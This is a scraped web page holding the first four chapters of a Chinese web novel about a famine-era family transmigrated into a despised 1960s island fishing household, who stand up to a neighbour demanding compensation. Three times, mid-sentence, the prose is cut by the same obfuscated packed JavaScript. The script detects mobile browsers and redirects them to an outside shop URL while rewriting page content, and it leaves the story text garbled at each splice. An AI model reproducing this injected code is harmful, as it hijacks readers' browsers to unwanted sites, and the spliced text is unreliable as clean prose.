《六零之全家逃荒路上穿海岛啦!》 1. 出大事了! “出事了!出大事了!” 台风刚过,石螺岛终于迎来了久违的大晴天。岛上男女老少纷纷走出家门,该补网的补网,该晒海带的晒海带,海岸边难得热闹了一回。 晌午头,几个妇人坐在礁石上搓草绳,东家长西家短地闲聊着。突然,远处一道尖利的喊声划破了海岛的宁静。 一个年轻媳妇踩着湿滑的沙砾疯跑过来,脸涨得通红,跑得上气不接下气,她远远地就扯着嗓子喊:“出事了!出大事了!罗贵媳妇何富花,带着婆家一大家子叔伯兄弟,堵到沈大帆家门口讨命去了!说要沈大帆赔她男人一条命,不赔钱赔粮票,就拆了沈家的屋!” 哗啦—— 海岸边的热闹景象瞬间凝固了。 织网的梭子停在半空,搓草绳的动作顿住了,浅滩上捡贝壳的孩子们也直起身子,一个个伸长脖子,齐刷刷朝声音来处张望。 “罗贵?”瘦削婶子猛地扔下手里的草绳,瞪大了眼,“是不是前几日出海那个罗贵?掉海里那个?我听说人是被捞回来了,可下半辈子都瘫在床上了,彻底成了废人,连翻身都要人伺候?” “可不是嘛!”旁边胖着的妇人一拍大腿,唾沫星子横飞,“那天本来轮的是沈大帆上工!那个懒汉又装头疼躲在家里睡大觉,大队长找不着人顶班,好说歹说才求了罗贵去!你说这叫什么事?好好的一个壮劳力,三十出头,家里三个娃,就这么毁了!这辈子算是完了!” “造孽啊……”瘦削婶子连连摇头,唏嘘不已,“罗家老的老小的小,顶梁柱一倒,这日子算是彻底塌了。他媳妇才二十七八,往后拖着三个孩子,还有一个瘫在炕上的男人,可咋活?一个女人家,挣那几个工分够干啥的?” “要我说,全是沈大帆那个懒货害的!”胖妇人嗓门拔得更高,“整天偷奸耍滑,好吃懒做,全岛谁不知道他家名声最臭?他那几个儿子孙子,一个个有样学样!上梁不正下梁歪,根子上就烂了!” “听说他家还欠着生产队二百多工分呢,年年评工分都是垫底,年年倒欠!去年年底分口粮,他家分的还不够人家一半,十几口人,喝西北风啊?” “可不是嘛!沈大帆那个婆娘和儿媳妇更不用说,不是一家人不进一家门!” “走,快去看看!何富花那性子烈得很,别真闹出人命来!” 人群呼啦啦起身,你推我搡,一个个跟赶集似的,潮水般涌向岛东头。 岛东头靠山根底下,有几间破败不堪的土坯房。 墙皮斑驳脱落,露出里头的碎石和黄泥,有些地方裂了手指宽的缝,风一吹就簌簌掉土。屋顶的茅草被台风吹得七零八落,东一片西一片的,露出底下的椽子,有几根已经断了,耷拉着脑袋。院墙塌了半截,用几根歪歪扭扭的木棍勉强拦着。 那就是沈家。 而此时,沈家逼仄的屋里,十三口人刚从混沌中清醒过来。 沈大山——此刻该叫沈大帆了——坐在炕沿上,粗糙的手掌抚上同样枯瘦蜡黄的脸。胸腔里的心脏狂跳不止,太阳穴突突地跳,像是有两把锤子在两边轮流敲,两股截然不同的记忆在脑海里疯狂冲撞、撕扯、融合,撞得他眼前一阵阵发黑。 一股是他自己的。 沈大山,四十六岁,三年乱世里带着全村老幼逃荒求生。他杀过趁火打劫的土匪,扛过颗粒无收的饥荒,在死人堆里摸爬滚打,硬生生从绝境里扒出一条生路。村里人信他,服他,敬他,他是所有人的主心骨,是天塌下来也要撑住的那根梁。 可他一睁眼,却成了另一个人。 另一股记忆,是这具身体原主的。 沈大帆,跟他同岁,石螺岛出名的懒汉、窝囊废、败家子。他偷奸耍滑,上工三天打鱼两天晒网,欠生产队二百多工分年年还不清。他懒,懒到屋顶漏了不补,漏得哗哗淌水也不管;渔网破了不织,扔在墙角烂成泥;地里的草长得比苗还高,他连看都懒得看一眼。他还怂,怂到被人指着鼻子骂娘都不敢回嘴,怂到连五岁小孩都敢抢他们家孙子的柴火,他看见了也当没看见。 他有婆娘,有儿有女,有儿媳有孙子,一大家子十三口人,挤在三间四处漏风的破屋里,饿得面黄肌瘦,穿得破破烂烂,是全岛人人鄙夷、踩在最底层的笑柄。走到哪儿都有人指指点点,连小孩都敢冲他扔石子。 窝囊。 废物。 连家都养不起的窝囊废! 沈大帆攥紧拳头,指节咯咯作响,手背上青筋暴起,像是要把这具身体里的窝囊气一把攥碎。前世的记忆和这具身体的记忆在脑海里反复冲撞,撞得他太阳穴一阵阵抽痛,撞得他眼底渐渐泛起血丝。 前世在乱世灾年里磨出来的戾气,压都压不住。 可就在这时—— “爹……” 炕角传来一声细弱的呼唤。 那声音又轻又软,像一根羽毛轻轻落在他心口上,又像是一瓢凉水浇在烧红的铁上。沈大帆整个人猛地一颤,满身的戾气像被戳了个洞的皮球,倏地泄了个干净,连那股子压不住的戾气都消散了大半。 他霍地转头。 五岁的沈灵宝缩在王秀莲怀里,小脸瘦得尖尖的,肤色是长期饿出来的蜡黄,嘴唇发白,头发也黄得跟枯草似的。唯有一双眼睛黑亮黑亮,像藏着两颗浸了水的黑葡萄,正怯生生地望着他,带着点不安,又带着点本能的亲近。 沈大帆的心,像是被一只小手狠狠攥了一把,疼得他差点喘不上气。 灵宝。 她是这家里最小的丫头,也是最让人心疼的一个。 在前世那兵荒马乱、饿殍遍野的日子里,这个小闺女是全家捧在心尖上的宝贝。大哥会把最嫩的野兔肉留给她,二哥会编最精巧的草蚂蚱哄她,三哥会把仅存的干粮省下半口塞她嘴里,爹娘更是把她护得密不透风,宁可自己啃树皮、嚼草根,也绝不让她受半分委屈。 可最后,她还是没能留住。 一场突如其来的高热,烧得小脸通红,烧得嘴唇起了泡,三天三夜不退。全家人守在她身边哭哑了嗓子,求遍了能求的人,跪了不知道多少回,终究还是眼睁睁看着她在怀里没了气息。那是全家一辈子都剜不掉的痛,是一想起来就心口发紧、夜里睡不着觉的憾事。 而现在,她活生生地坐在眼前。 瘦是瘦了点,怯是怯了点,蜡黄蜡黄的小脸上还带着长期营养不良的青灰色,可她还在。她还在喘气,还在喊爹。 沈大帆喉间一哽,像是被什么东西堵住了,眼眶一下子就红了。他脚步放得极轻,生怕惊着这失而复得的小丫头。他蹲下身,粗糙的大手掌轻轻覆上她干瘦的小手,那手小得可怜,骨头都硌手,触感微凉,却烫得他眼眶发酸。 “灵宝?”他的声音发着颤,小心翼翼地放轻了声音,“灵宝,是你吗?” 沈灵宝眨了眨眼睛,小脸上闪过一丝疑惑,但更多的是依赖和亲近。她伸出小手,朝沈大帆的方向抓了抓:“爹……饿……” 这一声“饿”,像一根针,扎在沈大帆心窝子上。 王秀莲在一旁看着,鼻子一酸,眼泪差点掉下来,赶紧仰起头,使劲把眼泪憋了回去。 前世的灵宝,是全家捧在手心里的宝贝。沈大山宠她,几个哥哥疼她,就连几个嫂子,有好吃的也紧着她先吃。她才两岁就一直在逃荒路上,没享过一天福,可全家人宁可自己饿着肚子勒紧裤腰带,也要让她多吃一口。 可这具身体原主的记忆里,这个小闺女过得是什么日子? 王秀莲这个身体的原主十分重男轻女,嫌灵宝是丫头片子,赔钱货,有好吃的紧着几个孙子,剩点残渣才想起她;几个儿子有样学样,对这个最小的妹妹不闻不问,有时候还嫌她烦,嫌她哭,嫌她碍事。 沈灵宝饿得皮包骨头,瘦得像只小猫,穿的是嫂子们不要的破衣裳,补丁摞补丁,大的大、小的小,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483514|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一吹就往里灌。冬天冻得缩在炕角瑟瑟发抖,嘴唇发紫,一声不吭地忍着,从来不哭不闹,像是知道自己没人疼。 王秀莲想起来就心疼得喘不上气,心口像压了块大石头。 她伸手,把宝贝闺女往怀里又搂了搂,低头亲了亲她枯黄的头发:“不怕,娘在呢,往后娘护着你,谁也别想欺负你。谁要是敢动你一根手指头,娘跟他拼命。” 炕那头,大儿子沈海生已经站了起来。 他本是个粗人,猎户出身,杀狼剥皮眼都不眨,山里的野猪见了他都要绕道走。可此刻看着缩在娘怀里那个瘦小的身影,眼眶也红了红,喉结上下滚了滚,攥了攥拳头,又松开。 他记得。 记得灵宝小时候,他进山打猎回来,她迈着小短腿跑过来,仰着脸喊“大哥抱”,小脸上全是笑。记得她把自己舍不得吃的野果子塞给他,小手举得高高的,说“大哥累,吃”。也记得她在他怀里慢慢闭上眼的时候,他一个大男人,哭得像个傻子。 老二沈冬生心思比大哥细,此刻也抿紧了嘴,眼圈泛红。 灵宝一直最黏他,因为他会给她讲故事,会编草蚂蚱逗她笑,会把她扛在肩膀上到处跑。灵宝没的时候,他躲在草垛后头,哭了一整夜,第二天眼睛肿得跟桃子似的,谁问都不说话。 老三沈富生性子温厚,不爱说话,此刻蹲在炕角,目光却一直落在娘怀里那个小小的身影上,眼睛里的心疼藏都藏不住。 灵宝出生的时候,是他抱着她去给爹看的。那时候日子苦,可灵宝一哭,全家人的心都软了。他护着她长大,看着她会走、会跑、会喊“三哥”,看着她在他怀里一点点没了气息,小手一点点变凉,他怎么捂都捂不热。 沈富生垂下眼,喉结动了动,没说话,只是把几个孩子又往后拢了拢,给他们让出更宽敞的地方。 几个儿媳,几个孙辈,此刻也一个个红了眼眶。 沈大帆看着怀里乖乖巧巧的小闺女,心口那股失而复得的庆幸与后怕翻涌不止。他刚要开口安抚,王秀莲忽然抬眼,目光与他对上,眼神里带着一丝只有他们夫妻才懂的沉郁与隐晦。 她抱着灵宝,声音轻得几乎只有两人能听见:“当家的,你说……咱们一大家子,怎么就全都到了这儿?” 沈大帆心头一震。 王秀莲垂眸,轻轻摸了摸灵宝的额头,手指头都在抖,语气里藏着说不清道不明的深意:“咱们灵宝从前就不一样,一发烧、一不对劲,准是要出大事……那次没了,也是先烧得厉害,烧了三天三夜,怎么都退不下去。” 她顿了顿,指尖微微一顿,声音更轻:“这次咱们全家……会不会,也跟她有关?” 话没点破,却像一颗石子,投进沈大帆心底,激起了千层浪。 前世闺女每次莫名发热、哭闹不安,家里不出三月必定出事——要么暴雨冲毁粮田;要么山匪过境;要么饥荒将至。那时候他们只当是孩子身子弱,是凑巧,可现在回想,哪有那么巧的事?一次两次是巧合,三次四次呢? 而这一次,全家齐齐整整穿越到这个陌生的年代、陌生的身体里,偏偏一睁眼,就看见活着的灵宝。 这里头的蹊跷,不用明说。 沈大帆看着怀里懵懂无知、只知道往娘怀里蹭的小闺女,眼底骤然沉了下来。 不管是为什么来的,不管这孩子身上藏着什么不一样的地方。 这一世,他拼了命,也要把她护到底。谁要是敢动她一根手指头,他豁出这条老命也要跟人干到底。 他深吸一口气,站起身。 刚要说些什么,院门外骤然炸起巨响! “哐当——哐当——” 破旧的木门被狠狠撞击,门楣上的土块簌簌掉落,整间屋子都跟着晃悠起来。 “沈大帆!你给我滚出来!” 女人的哭骂声尖锐刺耳,穿透薄薄的土墙,扎进每个人的耳朵里。 2. 快滚出来! “哐当——” 破旧的木门被踹得摇摇欲坠,门楣上的土块噼里啪啦往下掉,砸在地上溅起一片灰尘。 王秀莲怀里的沈灵宝吓得一哆嗦,小身子拼命往娘亲怀里缩,细弱的胳膊紧紧圈住她的脖颈,黑葡萄似的眼睛里蒙着一层水光,像只受了惊的小猫,可怜得人心都要碎了。 “不怕不怕,爹在呢,娘也在呢。” 沈大帆低声哄着,粗糙的大手轻轻拍了拍闺女的背。那因为失而复得而柔和下来的眉眼,在抬起来的瞬间,唰地覆上了一层寒霜。 那是从古代灾年乱世里、尸山血海中摸爬滚打出来的冷硬,是见过真刀真枪、杀过人见过血的悍气。跟那些只在岛上打渔种地的庄稼汉,压根不是一个路数。 屋里原本还红着眼眶的沈家众人,也瞬间收了情绪。 大儿子沈海生往前跨了一步,肩膀一展,腰杆一挺,他这个身体跟他前世身高差不多,那身板往那一杵就跟一堵墙似的。他攥紧了墙角那根磨得溜光水滑的木棍,眼神冷飕飕地扫向门口。 老二沈冬生眼神锐利,飞快地扫了一圈屋里能当家伙使的东西,不动声色地把几个半大孩子拨到自己身后。几个儿媳也立刻拢住自家娃,脸上没有半分怯意。前世什么阵仗没见过?土匪来了都不带眨眼的,这点上门闹事的,算个屁。 老三沈富生性子最温厚,可也不是软柿子。他直接往炕边一挡,把王秀莲和沈灵宝护得严严实实,谁想碰他娘和他妹子,得先从他身上跨过去。 一屋子十三口人,原本在原主记忆里是全岛最窝囊、最任人拿捏的软蛋,此刻往那一站,竟透出一股让人心里发毛的肃杀之气。 门外的叫骂声越来越刺耳,尖得像刀子划玻璃。 “沈大帆!你个王八蛋给我滚出来!” 何富花的声音几乎要掀翻屋顶,又尖又利,隔着半条街都听得清清楚楚:“你把我男人害成这样!让他瘫在床上成了废人,你躲在家里当缩头王八?我告诉你,今天你不拿出钱来,不拿出粮票来,我就拆了你这破屋,让你们全家睡滩上去!” “哐当——” 又是一脚。 门栓“咔嚓”一声断了,破旧的木门应声倒地,重重砸在泥地上,尘土扬起老高。 何富花带着七八个大汉一窝蜂涌进来,个个横眉竖眼,撸着袖子,那架势跟要抄家似的。何富花本人头发散乱,眼睛红肿得跟烂桃似的,脸上分不清是泪还是恨,整个人又凶又癫。 她一进门就死死盯住炕沿边的沈大帆,像饿了三天的狼见了肉,尖声喊道:“沈大帆!你个缩头王八!我问你,我男人罗贵是不是替你上的工?是不是因为你偷懒装病,他才去出海,才掉海里瘫了的?” 院子里也涌进来一堆看热闹的村民,把不大的小院挤得水泄不通。一个个伸长了脖子往里瞧,嘴里嘀嘀咕咕,刻薄话一句接一句往外冒,跟不要钱似的。 “看看看,我就说沈大帆不敢出来吧!这懒汉做了亏心事,就该赔命!” “何富花也太可怜了,男人瘫了,三个娃等着吃饭,这日子可怎么过哟!” “沈家一家子窝囊废,欺负人家孤儿寡母算什么本事?赶紧赔钱!” “要我说还不如出事的是沈大帆呢!这个懒骨头每天不干活光吃饭,要是出事了还能给大队减轻负担呢!” “就是就是,一家子没一个好东西。老的懒,小的滑,儿媳妇们也都是好吃懒做的货,生个小丫头片子也是个克人的!” “我看他们家就是故意的,想赖账,良心都被狗吃了!” 难听的话跟刀子似的,一刀一刀往屋里扎。 换做以前的原主沈大帆,这时候早就吓得缩在炕角浑身发抖了,别说回嘴,大气都不敢喘一口。 可现在站在这里的,是沈大山。 他缓缓站起身。这身体常年吃不饱饭,饿得面黄肌瘦,可一米八多的身板是实打实的。脊背一挺,像山上的青松,往那一站,目光沉沉地扫过何富花,扫过她身后那群凶神恶煞的壮汉,最后落在围观的村民身上。 那眼神没有半分怯懦,反而带着一股压死人的戾气。 何富花身后的几个叔伯兄弟,原本还耀武扬威的,被他这眼神一扫,脚步不自觉地往后退了半步。 心里直犯嘀咕:这沈大帆,怎么跟换了个人似的? 以前的沈大帆,见人先低头,被骂了都不敢吭声,跟个软脚虾一样。今天怎么浑身冒冷气,看得人心里发毛? 何富花也愣了一下,心里莫名慌了一瞬。可转念想到家里瘫在床上的男人,想到花光的所有积蓄,想到三个嗷嗷待哺的娃,再听听周围村民清一色帮着自己的话,底气又涨上来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483515|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她心一横,往地上一坐,拍着大腿就开始撒泼,嘴里的话一句比一句难听: “你看什么看?做了亏心事还敢瞪人?沈大帆,你个烂泥扶不上墙的懒汉,黑心烂肺的狗东西!我男人替你丢了半条命,你居然想一推六二五?我告诉你,今天这事没完!你必须赔我钱,赔我粮票!最少五十块钱,五十斤粮票!少一分都不行!” 沈大帆冷冷开口,声音不大,却字字像石头砸在地上:“我赔你?凭什么?” 院子里瞬间安静了半秒。 所有人都懵了。 沈大帆居然敢顶嘴?还敢说不赔? 太阳打西边出来了? 何富花更是气得浑身发抖,指着沈大帆的鼻子,手指头都在哆嗦:“你、你说什么?沈大帆,你良心被狗吃了?我男人替你上工瘫了,你不赔谁赔?你个挨千刀的懒汉,黑心肝的畜生,不得好死!” “什么叫替我上工?”沈大帆往前迈了一步,压迫感像潮水一样压过去,“那天队里派工,先定的是我不假。可我头疼没去,大队长去找罗贵,是他自己答应去的。出海挣的工分,也上了他的名字。从头到尾,我没逼他,没求他,更没拿刀架在他脖子上让他去。那些工分我半个都没捞着。这算哪门子‘替我上工’?” 他声音不急不缓,却句句在理。 “他出海出事,是天灾。台风刚过,海面不稳,跟我沈大帆有半分关系?” 何富花被堵得一愣一愣的,半天没回过神来。她怎么也想不通,平时跟猪头一样蠢的沈大帆,怎么突然能说出这么一套又一套的道理来? 愣了足有四五秒,她才反应过来,往地上一坐,拍着大腿哭天抢地:“老天爷啊!你看看这黑心烂肺的东西啊!我男人都瘫了,他还不肯认账,这是要逼死我们一家老小啊!沈大帆,你个断子绝孙的狗东西,你全家都不得好死!你家那个小丫头片子就是个小克星,早晚克死你们全家!” 这话一骂到沈灵宝头上—— 沈大帆周身的戾气像开了闸的洪水,翻涌着往外冒。拳头攥得骨节发白,青筋暴起,眼底燃着滔天怒火,抬脚就要上前。 他可以忍别人骂自己,忍别人骂家里的男人。可谁敢骂他的宝贝闺女,他绝不答应! 就在这当口—— 一只温软的手轻轻按住了他的胳膊。 3. 不敢向前! 王秀莲抱着孩子,从他身后慢慢走出来。 所有人都愣住了。 原主王秀莲,在石螺岛上那是出了名的又刻薄又怂。这个人对家里人厉害得很,骂儿女儿媳张嘴就来;可一对外人,怂得跟老鼠似的,谁都能踩两脚。被人骂了只会躲在家里抹眼泪,从来不敢还嘴,更别说在这么多人面前出头了。 可此刻王秀莲把沈灵宝稳稳地递给大儿媳,往沈大帆身边一站,腰杆挺得笔直,脸上哪还有半分以前的怯懦?那双原本昏黄黯淡的眼睛,此刻亮得惊人。 她这身子是渔家媳妇的底子,可骨子里透出来的,却是古代商户人家掌事长女的气度。 王秀莲在古代是镇上商户家的长女,打小在裁缝铺子里帮着爹娘迎来送往,里里外外操持得妥妥帖帖。平日里瞧着温温吞吞,一副好脾气模样,什么风浪来了都不惊不乍的。可家里人要真受了欺负,她护起短来,那嘴皮子利索得能让最刁钻的人都哑口无言。 此刻,为了丈夫,为了闺女,她不打算再忍了。 “何富花。” 她开口了。声音不高不低,清凌凌的,却像一把软刀子,不声不响地割开了场子上的嘈杂。 “你折腾够了吗?” 何富花一愣,还没来得及张嘴,王秀莲已经往前走了两步,居高临下地看着坐在地上撒泼的女人。 她嘴角甚至挂着一丝淡淡的笑,那笑容不冷,却让人后背直冒凉气。 “你男人罗贵出事,全岛人都看在眼里。台风刚过,海浪那么大,出这趟海本来是把脑袋别在裤腰带上的。那天大队长挨家挨户问谁敢出海,问到你家门口时——” 她顿了顿,目光像钉子一样钉在何富花脸上。 “是你亲自把人推出去的。怎么,这事儿你忘了?” 何富花的脸色刷地白了。 围观的村民也开始交头接耳。对啊,那天好像确实是何富花把罗贵推出去的,说什么“家里都快揭不开锅了,有工分不挣是傻子” 王秀莲的声音不疾不徐,像一把软刀子,一下一下往何富花心口上剜:“你男人瘫了,你自己养不起三个娃,就想找我们家当冤大头。这心思,谁看不出来?你以为全岛所有人都是傻子?” “可你闹就闹,讹就讹——” 她的声音陡然冷了下来。 “为什么要骂我家小宝?她才五岁。招你惹你了?” 何富花张了张嘴,脸涨得通红,愣是没憋出一个字来。 王秀莲却没停,声音越来越清亮:“你带着一群男人闯民宅、踹门、打砸闹事,这是犯法!真闹到公社书记面前,丢人的是你,吃官司的也是你!” “你想仗着撒泼打滚就讹钱?门都没有!” 她微微俯身,看着瘫坐在地上、满脸惊愕的何富花,一字一句道: “何富花,我今个就把话撂在这儿!以前我们一家脑子浑,日子过得穷,人也过得懒。平时遇到些欺负,总觉着多一事不如少一事,吃了亏忍忍就过去了,被人踩两脚也不吭声。可你们呢?蹬鼻子上脸,真当我们是傻子、是软蛋?” “我告诉你,从今往后,我们一家子不伺候了!以前那种窝囊日子,我们过够了!你男人这事你自己心里跟明镜似的,少往我们家头上扣屎盆子!我们家绝不做冤大头,更不替旁人背黑锅!” 话音落地,院子里鸦雀无声。 围观的村民一个个瞪大了眼睛,像看陌生人一样看着王秀莲。 这……这还是那个见人就躲、被人骂了只会哭的王秀莲? 这口才、这气势,简直比公社妇联主任还厉害! 何富花被怼得脸上红一阵白一阵,嘴唇哆嗦了半天,愣是没憋出一句话来。她带来的那几个帮忙的亲戚们也面面相觑,竟没一个人敢上前帮腔。 何富花彻底疯了。 她猛地从地上爬起来,披头散发,张牙舞爪地朝着王秀莲扑过去,尖声嘶吼:“贱人!我撕烂你的嘴!” 那双手直直朝着王秀莲的头发抓去,一副拼命的疯癫模样。 她带来的那几个罗家男人也立刻往前涌,撸起袖子,眼看就要一起动手强压沈家! 就在这千钧一发之际—— 沈家三个儿子几乎是同时动了。 沈海生、沈冬生、沈富生三步并作两步,齐刷刷横跨一步,与沈大帆并肩站成一堵人墙,把王秀莲和所有妇孺牢牢护在身后。 大哥沈海生眼神悍厉,浑身透着猎户常年在山林里搏命的狠劲,攥着木棍的手青筋暴起;老二沈冬生目光锐利如刀,周身都是戒备的杀气;老三沈富生面色沉冷,往日温厚的模样荡然无存,只剩护家的决绝。 父子四人往那一站,肩宽背直,像四尊门神。 那股从古代逃荒、厮杀、守家护院里磨出来的铁血煞气扑面而来,眼神冷得像淬了冰,只一眼就吓得人胆寒。 这种气势不是普通农家渔户可比拟的! 原本要冲上来的几个罗家男人,脚步猛地顿住了。 他们看着眼前这四个眼神凶戾、如同拦路猛虎般的男人,只觉得一股凉气从脚底直窜到天灵盖,心头突突直跳。 沈家这几个一米八多的成年汉子,平时再怎么怂,今天往这一站,那气势确实唬人。过来给富花帮忙的几个男人纷纷定在原地,竟没一个敢真的上前硬碰。 何富花扑到一半被人推了回来。她抬起头,看着眼前突然出现的四尊煞神,吓得心口猛地一跳,伸出去的手僵在半空,疯劲瞬间被吓退了大半。 围观的村民也被这架势吓住了,害怕这一群人真的干起来,纷纷往后缩了缩,刚才还指指点点的嘴,此刻都闭得紧紧的,没人再敢帮腔。 院子里静得可怕。 跟着何富花来的这群人,本来就是过来撑撑场面、吓唬吓唬沈大帆一家的,他们压根没打算真动手,更不想把自己搞得头破血流。 因此这一群人诡异地在原地杵着,进也不是,退也不是。 沈大帆和三个儿子紧紧盯着他们,谁也没有先动。 终于,沈大帆往前跨了一步。 声音不大,却像闷雷一样砸在每个人心上: “何富花,今天的事,全岛乡亲都看着。你带着人闯进我家,踹坏我的门,骂我闺女,还想动手打人!这些,我都会记着!” “你要是讲理,咱们找大队长评理。你要是想闹——” 他顿了顿,眼神陡然凌厉: “我沈家奉陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483516|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底。” 何富花被他看得心里直发毛,又气又怕。她急慌慌地喊着旁边没有动作的亲戚:“大伯!二哥!” 人群中年纪最大的男人终于开口了,不是回复沈大帆,而是跟何富花说:“富花,这事儿咱们还没问过大队长呢,该赔多少粮食多少钱,咱们先告诉大队长,让大队长定下具体数额,再列个欠条让沈大帆签了!” “大伯!”何富花没想到会听到自家亲戚这番话,急得直跺脚,“还找大队长干什么?!我男人就是被他害的,那些钱和粮票都是他该赔的!” 另一个年轻男人开口:“弟妹!你现在看沈大帆这个样儿像会给你钱的样子吗?沈家这个情况,你看的清清楚楚,房子都四处漏风,能掏的出这么多钱和粮票吗?!既然沈大帆他开口说了可以找大队长做主,那咱们就找大队长做主!罗贵是大队长找去出海的,他现在瘫了,大队长也该把他以后吃喝拉撒要花费的东西都安排好!” 听到他们这些话,何富花咬紧了牙,知道今天再这样闹也讨不到好处了,再闹下去反而可能把自己搭进去。他男人瘫了,她不能再出事,她还有三个孩子要养。 她狠狠瞪了沈家众人一眼,啐了一口唾沫,撂下狠话: “沈大帆!王秀莲!你们给我等着!今天这事不算完!我男人瘫在床上,我家日子过不下去,你们也别想安生!我天天来闹,看你们能不能扛住!我让你们全家都没脸在这岛上待下去!” 说完,她狠狠推了身边刚刚开口的丈夫亲堂哥一把,灰溜溜地走了。 走到院门口时,还不忘回头放了一句狠话,才彻底消失在巷口。 院子里终于安静了下来。 只剩下散落的碎木门片,扬起的尘土,和一院子面面相觑的村民。 有人讪讪地摸了摸鼻子,悄悄往外溜。有人低着头,假装看地上的蚂蚁,也跟着溜了。不一会儿,院子就空了。 沈家一家人站在原地,脸上的悍气渐渐褪去,取而代之的是一层凝重。 沈海生攥紧了手里的木棍,沉声道:“爹,娘,这何富花肯定还会来闹。咱们得想个法子堵住她的嘴,不然以后日子没法过。” 沈大帆点点头,目光扫过空荡荡的院门:“今天她是被咱们的气势震住了。可她那种人,不会善罢甘休的。咱们都是一个岛上的人,她男人瘫了这事,咱们确实没有责任。但是于情——” 他顿了顿,声音沉了沉:“咱们肯定要掏一点东西出来给人家。” 王秀莲点了点头,轻声安慰道:“没事,日子总是往前看的。至少咱们一家人现在都健健康康的,一个都没少。以后日子会越过越好的。” 几个儿媳也跟着点头:“对,咱们齐心,日子肯定能过好。” 怀里的小灵宝抬起头,眼睛还红红的,却咧开嘴笑了,露出几颗小米粒似的牙齿:“爹最厉害了!娘也最厉害了!” 脆生生的一句话,把全家人都逗笑了。 沈大帆低头看着怀里的小闺女,又看了看身边的妻儿,心里涌起一股滚烫的暖流。 在这个陌生的六零年代,他们的硬仗,才刚刚开始。 但只要一家人在一起—— 再难的坎,也能跨过去。 4. 海边有啥? 院门外的脚步声终于散尽,连最后一个探头探脑的邻居也讪讪缩回了脑袋。沈家院子里重新安静下来,只余下那扇倒在地上、裂成两半的木门,和一地踩得乱七八糟的脚印。 沈大帆站在门口,看着空荡荡的院门,眉头拧成一个疙瘩。 他转过身,目光扫过三间破败不堪的土坯房。墙皮斑驳得像长了癞痢头,屋顶的茅草被台风刮得东秃一块西秃一块,露出黑洞洞的椽子。堂屋那扇窗户纸破了两个大洞,风一吹就呼啦啦响,跟打摆子似的。 灶台冷冰冰的,锅盖半掀着,里头空空荡荡。 米缸就在灶台边上,沈大帆走过去掀开盖子,里头刮得干干净净,连一粒米都没剩下,缸底只有薄薄一层灰。 他沉默了一会儿,又揭开旁边几个瓦罐。一个罐子里装着半罐粗盐,潮得结了块;另一个罐子里有几块不知放了多久的咸鱼干,硬得像石头,闻着还有一股子哈喇味;最后一个罐子最满,里头是野菜干,黑乎乎的,掺着不少沙土。 这就是全家人全部的吃食了。 王秀莲不知什么时候站到了他身边,低头看了看那些罐子,又看了看米缸,嘴唇抿了抿,没说话。但她攥着沈灵宝小手的力道紧了几分。 沈灵宝仰着小脸,看看爹又看看娘,黑葡萄似的眼睛里满是茫然。她不懂米缸空了意味着什么,只是本能地觉得爹娘的脸色不太好看,便乖乖地靠在王秀莲腿边,一声不吭。 沈大帆深吸一口气,把瓦罐的盖子盖回去,转过身面对全家人。 十三口人,老的老,小的小,就挤在这三间破屋里,肚子空空,米缸见底。 他没有叹气。 前世逃荒路上比这难熬的日子多了去了,树皮草根都啃过,观音土都吃过,不也活下来了? “都别愣着了,”他开口,声音沉稳,听不出半分焦躁,“先把屋里归置归置,清点一下家里还剩什么。海生、冬生、富生,你们几个跟我看看这房子,该补的补,该修的修。秀莲,你领着几个儿媳妇翻翻家里,看看还有什么能吃的东西,先对付一顿再说。” 他顿了顿,目光落在几个孙子孙女身上,又补了一句:“大的帮衬着点,小的都看好了,别磕着碰着。” 话音刚落,一屋子人像被按下了开关,各自动了起来。 王秀莲应了一声,转身就带着三个儿媳进了灶房。说是灶房,其实就是堂屋角落里搭的一个土灶台,连间正经屋子都没有。 “迎香,你把那几个罐子都搬出来,看看里头的东西还能不能吃。”王秀莲一边挽袖子一边吩咐。 大儿媳夏迎香是几个儿媳里最麻利的,闻言二话不说就把几个瓦罐搬到灶台上,揭开盖子挨个查看。 “娘,咸鱼干还行,就是硬了点,多泡泡应该能吃。野菜干也还能对付,就是沙子多,得多淘几遍。” 二儿媳赵文英蹲在灶台前扒拉了两下灶膛里的灰,抬起头来,脸上沾了一道黑印子:“娘,柴火也不多了,就够烧一两顿的,得让人再去捡些回来。” 三儿媳佟娟儿没说话,闷头把灶台上那口大铁锅端下来,拿锅铲刮了刮锅底,刮下来一层薄薄的锅巴碎屑,拢在一起也就小半碗。 三个人齐刷刷看向王秀莲。 王秀莲站在灶台前,目光从几个瓦罐上扫过,又看了看那口空锅,心里默默盘算着。 咸鱼干、野菜干、半罐粗盐。 就这些。 十三口人。 